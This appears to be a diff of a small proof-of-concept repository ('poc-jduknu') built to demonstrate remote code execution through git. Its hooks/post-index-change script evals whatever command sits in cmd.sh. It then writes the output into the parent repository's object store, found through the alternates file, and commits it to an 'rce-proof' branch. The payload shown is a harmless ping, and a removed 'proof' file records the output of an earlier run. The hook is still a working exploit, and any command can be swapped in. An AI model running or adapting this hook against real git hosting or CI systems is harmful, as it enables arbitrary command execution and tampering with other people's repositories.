README.md

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+# poc-jduknu
+

cmd.sh

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+ping github.com

hooks/post-index-change

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+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+  /*) ;;
+  *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+
+cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null)
+[ -n "$cmd" ] || exit 0
+
+out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---")
+
+out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin)
+tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree)
+commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \
+ GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \
+ git --git-dir="$origin_git" commit-tree "$tree")
+git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
+exit 0
+
+# imdauw

proof

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-PING baidu.com (124.237.177.164) 56(84) bytes of data.
-From office (38.143.148.101) icmp_seq=1 Destination Host Unreachable
-From office (38.143.148.101) icmp_seq=2 Destination Host Unreachable
-From office (38.143.148.101) icmp_seq=3 Destination Host Unreachable
-From office (38.143.148.101) icmp_seq=4 Destination Host Unreachable
-
---- baidu.com ping statistics ---
-4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3224ms
-pipe 3
----EXIT:1---